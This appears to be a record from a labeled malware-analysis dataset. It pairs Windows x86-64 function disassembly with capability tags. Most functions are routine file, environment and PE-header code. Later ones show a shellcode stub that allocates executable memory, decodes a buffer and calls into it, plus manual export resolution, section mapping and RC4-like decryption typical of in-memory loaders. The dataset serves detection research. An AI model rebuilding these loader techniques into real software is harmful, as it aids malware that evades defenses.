joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008f340
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14008f356
mov al, 1
jmp 0x14008f3b6
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14008f367
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14008f3b4
mov ecx, dword [rcx + 0x18]
nop
call fcn.14008ffa0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14008f3b4
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14008f3b4
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14008f3b4
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14008f3b6
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400900b0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140088b70
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140088b70
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140090200
cmp rax, 0xffffffffffffffff
je 0x140090200
xor edi, edi
test rbp, rbp
jle 0x1400901ab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14008cbd8
mov rbx, rax
test rax, rax
jne 0x140090138
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400901a1
mov edx, 0x8000
mov ecx, r14d
call fcn.14008a114
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14008b894
cmp eax, 0xffffffff
je 0x140090181
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140090148
mov edx, r15d
mov ecx, r14d
call fcn.14008a114
jmp 0x1400901a1
cmp byte [rsi + 0x38], dil
je 0x140090198
cmp dword [rsi + 0x34], 5
jne 0x140090198
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400901a1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14008cc50
jmp 0x140090214
jns 0x140090214
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140088b70
cmp rax, 0xffffffffffffffff
jne 0x1400901cc
cmp byte [rsi + 0x30], dil
je 0x140090214
mov edi, dword [rsi + 0x2c]
jmp 0x140090214
mov ecx, r14d
call fcn.14008ffa0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140090214
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x140090214
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14009020d
mov eax, dword [rsi + 0x2c]
jmp 0x140090212
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140088b70
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140093a90
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140093ac0
xor eax, eax
jmp 0x140093b83
mov rbp, rbx
cmp word [rax], si
je 0x140093ae5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140093acc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140093ac8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140090a4c
movsxd r14, eax
test eax, eax
jne 0x140093b23
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140093ab9
mov rcx, r14
call fcn.14008d834
mov rdi, rax
test rax, rax
jne 0x140093b3c
xor ecx, ecx
call fcn.14008cc50
jmp 0x140093b18
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140090a4c
test eax, eax
jne 0x140093b6d
mov rcx, rdi
call fcn.14008cc50
jmp 0x140093b77
xor ecx, ecx
call fcn.14008cc50
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140093ba0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140093c27
mov rsi, rbx
cmp word [rax], bp
je 0x140093be6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140093bd0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140093bcc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14008d834
mov rdi, rax
test rax, rax
je 0x140093c14
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14009a140
mov rbp, rdi
xor ecx, ecx
call fcn.14008cc50
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140094ee0
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140094f00
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14007e688
or eax, 0xffffffff
jmp 0x140094f02
xor eax, eax
add rsp, 0x28
ret

Function at 0x140096db0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1400c1700]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x140096dfa
call fcn.14007e6f4
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14007e714
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.140079e40
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140072910
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x140096e05
lea eax, [rbx + 1]
jmp 0x140096de7
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x140096de5
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x140096de7

Function at 0x140099d70
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140099d98
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140099d98
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140121490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1401214a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.140103360
jmp 0x14000123c
mov rax, qword [0x1401214a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1401214a0]
mov dword [rax], 1
mov rax, qword [0x1401214e0]
mov rdx, rax
mov rax, qword [0x1401214d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x140125024], 1
mov rax, qword [0x1401214a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1401214c0]
mov rdx, rax
mov rax, qword [0x1401214b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1401214a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140121490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1401213e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1401213e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.1401025e8
mov rax, qword [0x140121520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140121480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140101de0
mov eax, dword [0x140125004]
lea rdx, [0x140125008]
mov ecx, eax
call fcn.14000147c
call fcn.140101b77
mov rax, qword [0x140121410]
mov rax, qword [rax]
mov rdx, qword [0x140125010]
mov qword [rax], rdx
mov rcx, qword [0x140125010]
mov rdx, qword [0x140125008]
mov eax, dword [0x140125004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14012501c], eax
mov eax, dword [0x140125020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14012501c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x140125024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14012501c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140121440]
mov dword [rax], 1
mov rax, qword [0x140121450]
mov dword [rax], 1
mov rax, qword [0x140121460]
mov dword [rax], 1
mov rax, qword [0x140121400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140101df0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140103150
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140102ac2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140125168]
test eax, eax
je 0x140102b5a
lea rax, [0x140125140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140125170]
mov qword [rbp - 8], rax
jmp 0x140102b3e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140102b32
cmp qword [rbp - 0x10], 0
je 0x140102b32
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140102af8
lea rax, [0x140125140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140102b5b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140102c60
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140102c88
mov eax, 0
jmp 0x140102cd6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140102cb1
mov eax, 0
jmp 0x140102cd6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140102cd1
mov eax, 0
jmp 0x140102cd6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140102cdc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140102d5a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140102d51
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140102d51
mov rax, qword [rbp - 8]
jmp 0x140102d6f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140102d24
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000b1f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, 0xa1e6
mov r9d, 0x40
mov edx, ebx
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, ebx
lea rdx, section..text
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
cmp dword [0x14000d018], 2
jl 0x14000b2fb
movdqa xmm4, xmmword [0x14000c210]
mov eax, 8
movdqa xmm5, xmmword [0x14000c220]
movd xmm3, eax
movd xmm0, dword [rdi + rcx]
pmovzxbd xmm1, xmm0
xorps xmm0, xmm0
paddd xmm1, xmm4
pcmpgtd xmm0, xmm1
pand xmm0, xmm5
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14000c230]
packuswb xmm2, xmm2
movd dword [rdi + rcx], xmm2
movd xmm0, dword [rdi + rcx + 4]
pmovzxbd xmm1, xmm0
xorps xmm0, xmm0
paddd xmm1, xmm4
pcmpgtd xmm0, xmm1
pand xmm0, xmm5
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14000c230]
packuswb xmm2, xmm2
movd dword [rdi + rcx + 4], xmm2
add rcx, rax
cmp rcx, 0xa1e0
jb 0x14000b252
cmp rcx, rbx
jae 0x14000b30f
lea rax, [rcx + rdi]
sub rbx, rcx
add byte [rax], 3
lea rax, [rax + 1]
sub rbx, 1
jne 0x14000b302
call rdi
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x140001564
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x28], 0
cmp qword [rsp + 0x60], 0
jne 0x140001594
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
add rax, 0x88
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax + 4], 0
jne 0x1400015c4
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x60]
add rax, qword [rcx + 8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax + 0x18], 0
je 0x1400015ef
mov rax, qword [rsp + 0x20]
cmp dword [rax + 0x14], 0
jne 0x140001601
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x68]
shr rax, 0x10
and rax, 0xffff
movzx eax, ax
test eax, eax
jne 0x140001660
mov rax, qword [rsp + 0x68]
and rax, 0xffff
movzx ecx, ax
mov rax, qword [rsp + 0x20]
cmp ecx, dword [rax + 0x10]
jae 0x140001641
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x68]
and rax, 0xffff
movzx eax, ax
mov rcx, qword [rsp + 0x20]
sub eax, dword [rcx + 0x10]
mov dword [rsp + 0x28], eax
jmp 0x14000171f
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x60]
add rax, qword [rcx + 8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x60]
add rax, qword [rcx + 8]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x3c], 0
jmp 0x1400016c5
mov eax, dword [rsp + 0x3c]
add eax, 1
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x40]
add rax, 4
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x48]
add rax, 2
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x3c], eax
jae 0x140001709
mov rax, qword [rsp + 0x40]
mov edx, dword [rax]
mov rax, qword [rsp + 0x60]
add rdx, qword [rax + 8]
mov rcx, qword [rsp + 0x68]
call fcn.140034230
test eax, eax
jne 0x140001707
mov rax, qword [rsp + 0x48]
movzx eax, word [rax]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x38], 1
jmp 0x140001709
jmp 0x14000169e
cmp dword [rsp + 0x38], 0
jne 0x14000171f
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x14]
cmp dword [rsp + 0x28], eax
jbe 0x14000173c
mov ecx, 0x7f
call qword [0x1402e9558]
xor eax, eax
jmp 0x140001760
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x60]
mov rcx, qword [rcx + 8]
add rcx, rax
mov eax, dword [rsp + 0x28]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x60]
add rax, qword [rcx + 8]
add rsp, 0x58
ret
Function at 0x140001768
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
movzx eax, word [rsp + 0x30]
mov word [rsp], ax
mov eax, 1
mov word [rsp + 4], ax
xor eax, eax
mov word [rsp + 8], ax
mov dword [rsp + 0xc], 0
jmp 0x1400017a9
mov eax, dword [rsp + 0xc]
add eax, 1
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0xc], eax
jge 0x140001822
movzx ecx, word [rsp + 4]
movzx eax, word [rsp + 8]
cmp ecx, eax
jne 0x1400017c8
xor eax, eax
mov word [rsp + 8], ax
movsxd rcx, dword [rsp + 0xc]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rax + rcx]
add edx, 0x609
movsxd rcx, dword [rsp + 0xc]
mov rax, qword [rsp + 0x20]
mov byte [rax + rcx], dl
movsxd rdx, dword [rsp + 0xc]
movzx eax, word [rsp + 8]
movzx ecx, word [rsp + rax*2]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rax + rdx]
xor edx, ecx
movsxd rcx, dword [rsp + 0xc]
mov rax, qword [rsp + 0x20]
mov byte [rax + rcx], dl
movzx eax, word [rsp + 8]
add ax, 1
mov word [rsp + 8], ax
jmp 0x14000179e
add rsp, 0x18
ret
Function at 0x140001e2c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rax, qword [rsp + 0x78]
mov rax, qword [rax + 8]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
movzx eax, word [rax + 0x14]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0
jmp 0x140001e93
mov eax, dword [rsp + 0x20]
add eax, 1
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jge 0x140001fe6
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
jne 0x140001f3d
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jle 0x140001f38
movsxd rdx, dword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov r9d, 4
mov r8d, 0x1000
call qword [0x1402e9568]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001f06
xor eax, eax
jmp 0x140001feb
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0xc]
mov rax, qword [rsp + 0x30]
add rax, rcx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov eax, dword [rsp + 0x28]
mov dword [rcx + 8], eax
movsxd r8, dword [rsp + 0x38]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140034640
jmp 0x140001e7a
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x14]
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x10]
mov rax, rdx
add rax, rcx
cmp qword [rsp + 0x68], rax
jae 0x140001f61
xor eax, eax
jmp 0x140001feb
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x10]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov r9d, 4
mov r8d, 0x1000
call qword [0x1402e9568]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140001f9c
xor eax, eax
jmp 0x140001feb
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0xc]
mov rax, qword [rsp + 0x30]
add rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x10]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x14]
mov rdx, qword [rsp + 0x60]
add rdx, rax
mov rcx, qword [rsp + 0x28]
call fcn.1400342f0
mov r11, qword [rsp + 0x40]
mov eax, dword [rsp + 0x28]
mov dword [r11 + 8], eax
jmp 0x140001e7a
mov eax, 1
add rsp, 0x58
ret